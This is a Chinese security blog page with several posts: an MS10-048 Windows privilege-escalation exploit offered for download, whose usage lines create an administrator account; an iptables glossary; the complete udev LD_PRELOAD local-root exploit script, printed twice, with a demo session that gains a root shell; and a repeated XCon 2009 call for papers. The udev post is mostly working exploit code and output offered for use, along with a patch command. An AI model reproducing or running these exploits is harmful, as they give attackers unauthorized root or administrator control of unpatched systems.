MS10-048本地提权EXP x86 x64
[ 2010/10/08 20:48 | by selboo ]
ms10048x86.rar
下载文件 (已下载 631 次)
ms10048x64.rar
下载文件 (已下载 547 次)
漏洞说明:http://sebug.net/exploit/20030/
使用:
ms10048.exe ma.exe
ms10048.exe net user selboo 123456 /add
ms10048.exe net localgroup administrators selboo /add
http://support.microsoft.com/kb/2160329
nginx文件类型错误解析漏洞
[ 2010/05/21 21:08 | by selboo ]
iptables的相关概念和数据包的流程
[ 2010/04/27 11:43 | by selboo ]
iptables 相关概念
匹配(match):符合指定的条件,比如指定的 IP 地址和端口。
丢弃(drop):当一个包到达时,简单地丢弃,不做其它任何处理。
接受(accept):和丢弃相反,接受这个包,让这个包通过。
拒绝(reject):和丢弃相似,但它还会向发送这个包的源主机发送错误消息。这个错误消息可以指定,也可以自动产生。
目标(target):指定的动作,说明如何处理一个包,比如:丢弃,接受,或拒绝。
跳转(jump):和目标类似,不过它指定的不是一个具体的动作,而是另一个链,表示要跳转到那个链上。
阅读全文
匹配(match):符合指定的条件,比如指定的 IP 地址和端口。
丢弃(drop):当一个包到达时,简单地丢弃,不做其它任何处理。
接受(accept):和丢弃相反,接受这个包,让这个包通过。
拒绝(reject):和丢弃相似,但它还会向发送这个包的源主机发送错误消息。这个错误消息可以指定,也可以自动产生。
目标(target):指定的动作,说明如何处理一个包,比如:丢弃,接受,或拒绝。
跳转(jump):和目标类似,不过它指定的不是一个具体的动作,而是另一个链,表示要跳转到那个链上。
阅读全文
普通用户通过udev漏洞提升到root权限
[ 2009/06/25 17:30 | by selboo ]
udev权限提示的漏洞,只要有普通用户权限,即可提升到root权限
udev.sh
演示自己看了
修复漏洞
[selboo@selboo ~]$ rpm -qa |grep udev
udev-095-14.16.el5
[selboo@selboo ~]$ yum update udev
[selboo@selboo ~]$ rpm -qa |grep udev
udev-095-14.20.el5_3
udev.sh
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
// execl("/tmp/suid", "suid", (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/stat.h>
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
// execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
chown("/tmp/suid",0,0);
chmod("/tmp/suid",S_IRUSR|S_IWUSR|S_ISUID|S_IXUSR|S_IROTH|S_IXOTH);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]
/tmp/suid
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
// execl("/tmp/suid", "suid", (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/stat.h>
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
// execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
chown("/tmp/suid",0,0);
chmod("/tmp/suid",S_IRUSR|S_IWUSR|S_ISUID|S_IXUSR|S_IROTH|S_IXOTH);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]
/tmp/suid
演示自己看了
[selboo@selboo ~]$ id
uid=501(selboo) gid=501(selboo) groups=501(selboo)
[selboo@selboo ~]$ ps -ef |grep udev
root 775 1 0 Jun13 ? 00:00:00 /sbin/udevd -d
selboo 762 31582 0 17:05 pts/1 00:00:00 grep udev
[selboo@selboo ~]$ sh udev.sh 774 # 775-1=774
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.2# id
uid=0(root) gid=0(root) groups=501(selboo)
sh-3.2# ls /root/
cnc.txt cnc1.txt installonlyn.py nginx_log.sh rsync.sh whois
sh-3.2#
uid=501(selboo) gid=501(selboo) groups=501(selboo)
[selboo@selboo ~]$ ps -ef |grep udev
root 775 1 0 Jun13 ? 00:00:00 /sbin/udevd -d
selboo 762 31582 0 17:05 pts/1 00:00:00 grep udev
[selboo@selboo ~]$ sh udev.sh 774 # 775-1=774
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.2# id
uid=0(root) gid=0(root) groups=501(selboo)
sh-3.2# ls /root/
cnc.txt cnc1.txt installonlyn.py nginx_log.sh rsync.sh whois
sh-3.2#
修复漏洞
[selboo@selboo ~]$ rpm -qa |grep udev
udev-095-14.16.el5
[selboo@selboo ~]$ yum update udev
[selboo@selboo ~]$ rpm -qa |grep udev
udev-095-14.20.el5_3
XCon2009 安全焦点信息安全技术峰会议题征集函
[ 2009/05/14 19:44 | by selboo ]
中国,北京,2009年8月18~19日 (http://xcon.xfocus.net)
XCon 秉承一贯的严谨求实作风竭诚欢迎热爱信息安全技术的人员积极投稿,参加会议,共享精彩盛会。
参加会议对象:
任何热爱信息安全的人士,包括如信息安全专家,信息安全爱好者, 网络
管理工程师,网络安全顾问, CIO,黑客技术发烧友等。
会议地点: 北京歌华开元大酒店 ( http://www.kaiyuanhotels.com/jiudian/beijing_index.asp )
征文范围 (不限于所列方向):
—新领域安全
- Vista 安全 / Windows & 安全
- Web 2.0安全技术
- 3G/4G网络,TD-SCDMA网络安
- 移动手持设备安全 Symbian / IPhone / Android / Windows Mobile 安全
- 银行金融安全
- 企业信息系统安全
- 虚拟化技术
- 最新漏洞挖掘技术
— 应用安全
- Web 应用程序弱点研究
- 应用程序反向工程和相关自动工具
- 数据库安全和攻击
- 协议安全利用
- 高级木马、蠕虫、后门技术
- 加密和破解技术
- 路由器设备安全
— 入侵检测/取证分析
- 文件系统分析和恢复
- 实时结构数据恢复
- 反向工程 (恶意代码分析技术,弱点研究)
- 入侵检测和反检测技术
- 流量分析
— 无线和VoIP 安全
- 802.11x, CDPD, Bluetooth, WAP/TD-SCDMA, GSM, SMS
- PDA 和移动电话协议分析
- Palm, Pocket Pc安全
- Wireless 网关
- VoIP 安全和弱点分析
- WLANs 加固、弱点分析
—P2P 技术
- 即时通信工具(QQ,MSN, Skype, ICQ 等)
- P2P 应用(BT,Emule,迅雷等)
征文提交事宜:
提交的征文必须包含如下信息:
1) 对要作演讲的题材进行简单的描述及说明之前是否发布,发布的范围。
2) 对演讲者自身和工作经历描述。
3) 演讲者联系信息:全名,别名,国籍,网络昵称,e-mail, 电话,传真,
目前工作地点和相关公司,任何即时聊天的方式(QQ,MSN, ICQ, YM, AIM 或者其他).
4) 演讲过程中所需细节:
- 演讲需要多长时间
- 是否发布新的工具
- 是否发布新漏洞
- 是否需要发布新的Exploit 代码
5) 所有征文必须包含PPT(演讲使用)和WORD(细节描述),可以以MS
Office , OpenOffice 格式提交。
所有征文通过cfp@huayongxingan.com提交,供XCon组织者筛选,征文投稿最后截
止日期定于2009年7月10日,最后确认是否收录时间为2009年7月18日,投
稿自收到之日起5个工作日内,将给出准确的答复,无论您的议题是否被收
录,我们都将会通过您留下的联系方式告知您。
征文相关重要日期:
*最后提交日期 – 2009年7月10日
*最后确认通知 – 2009年7月18日
演讲者待遇:
如果您的稿件被我们XCon收录,意味着您将在XCon会议上单独发表演讲,
XCon 将会提供演讲者包含
- 往返程经济舱飞机票,限一人(外宾旅费封顶1200USD)
- 2 天会议期间的酒店住宿费用
- 2 天会议期间的早餐、中餐、及晚餐
- 被邀请参加庆祝酒会
- 并且我们将会组织演讲者在会后的一天游览中国北京的一些名胜古迹,品尝
中国的风味特色食品。
- 可参与抽奖活动
注:
- 演讲者必须提供相关票据或凭证。
- 所有相关会议解释权归XCon会议组织者所有。
关于会议更多信息、细节及咨询,可以联系至信给如下信箱:xcon@xfocus.org,xcon@huayongxingan.com
或专门的XCon2009会议组织者MSN: xfocusxcon@hotmail.com,电话:086-010-62029792
申请参会:
您可以通过XCon网站(http://xcon.xfocus.net)注册或直接联系我们组织者(联系方式见上)申请参
加会议,我们将给根据预定申请时间的早晚提供不同的折扣。参会者食宿自理,XCon将为参会者预定酒店
等服务。
其他信息:
你可以浏览http://xcon.xfocus.org/查看演讲者信息、会议安排、XCon
之前会议的相关文档和信息,任何有关XCon的会议信息,将在XCon和XFocus
站点发布,请大家密切关注。
非常感谢您对XCon 的支持!
XCon 秉承一贯的严谨求实作风竭诚欢迎热爱信息安全技术的人员积极投稿,参加会议,共享精彩盛会。
参加会议对象:
任何热爱信息安全的人士,包括如信息安全专家,信息安全爱好者, 网络
管理工程师,网络安全顾问, CIO,黑客技术发烧友等。
会议地点: 北京歌华开元大酒店 ( http://www.kaiyuanhotels.com/jiudian/beijing_index.asp )
征文范围 (不限于所列方向):
—新领域安全
- Vista 安全 / Windows & 安全
- Web 2.0安全技术
- 3G/4G网络,TD-SCDMA网络安
- 移动手持设备安全 Symbian / IPhone / Android / Windows Mobile 安全
- 银行金融安全
- 企业信息系统安全
- 虚拟化技术
- 最新漏洞挖掘技术
— 应用安全
- Web 应用程序弱点研究
- 应用程序反向工程和相关自动工具
- 数据库安全和攻击
- 协议安全利用
- 高级木马、蠕虫、后门技术
- 加密和破解技术
- 路由器设备安全
— 入侵检测/取证分析
- 文件系统分析和恢复
- 实时结构数据恢复
- 反向工程 (恶意代码分析技术,弱点研究)
- 入侵检测和反检测技术
- 流量分析
— 无线和VoIP 安全
- 802.11x, CDPD, Bluetooth, WAP/TD-SCDMA, GSM, SMS
- PDA 和移动电话协议分析
- Palm, Pocket Pc安全
- Wireless 网关
- VoIP 安全和弱点分析
- WLANs 加固、弱点分析
—P2P 技术
- 即时通信工具(QQ,MSN, Skype, ICQ 等)
- P2P 应用(BT,Emule,迅雷等)
征文提交事宜:
提交的征文必须包含如下信息:
1) 对要作演讲的题材进行简单的描述及说明之前是否发布,发布的范围。
2) 对演讲者自身和工作经历描述。
3) 演讲者联系信息:全名,别名,国籍,网络昵称,e-mail, 电话,传真,
目前工作地点和相关公司,任何即时聊天的方式(QQ,MSN, ICQ, YM, AIM 或者其他).
4) 演讲过程中所需细节:
- 演讲需要多长时间
- 是否发布新的工具
- 是否发布新漏洞
- 是否需要发布新的Exploit 代码
5) 所有征文必须包含PPT(演讲使用)和WORD(细节描述),可以以MS
Office , OpenOffice 格式提交。
所有征文通过cfp@huayongxingan.com提交,供XCon组织者筛选,征文投稿最后截
止日期定于2009年7月10日,最后确认是否收录时间为2009年7月18日,投
稿自收到之日起5个工作日内,将给出准确的答复,无论您的议题是否被收
录,我们都将会通过您留下的联系方式告知您。
征文相关重要日期:
*最后提交日期 – 2009年7月10日
*最后确认通知 – 2009年7月18日
演讲者待遇:
如果您的稿件被我们XCon收录,意味着您将在XCon会议上单独发表演讲,
XCon 将会提供演讲者包含
- 往返程经济舱飞机票,限一人(外宾旅费封顶1200USD)
- 2 天会议期间的酒店住宿费用
- 2 天会议期间的早餐、中餐、及晚餐
- 被邀请参加庆祝酒会
- 并且我们将会组织演讲者在会后的一天游览中国北京的一些名胜古迹,品尝
中国的风味特色食品。
- 可参与抽奖活动
注:
- 演讲者必须提供相关票据或凭证。
- 所有相关会议解释权归XCon会议组织者所有。
关于会议更多信息、细节及咨询,可以联系至信给如下信箱:xcon@xfocus.org,xcon@huayongxingan.com
或专门的XCon2009会议组织者MSN: xfocusxcon@hotmail.com,电话:086-010-62029792
申请参会:
您可以通过XCon网站(http://xcon.xfocus.net)注册或直接联系我们组织者(联系方式见上)申请参
加会议,我们将给根据预定申请时间的早晚提供不同的折扣。参会者食宿自理,XCon将为参会者预定酒店
等服务。
其他信息:
你可以浏览http://xcon.xfocus.org/查看演讲者信息、会议安排、XCon
之前会议的相关文档和信息,任何有关XCon的会议信息,将在XCon和XFocus
站点发布,请大家密切关注。
非常感谢您对XCon 的支持!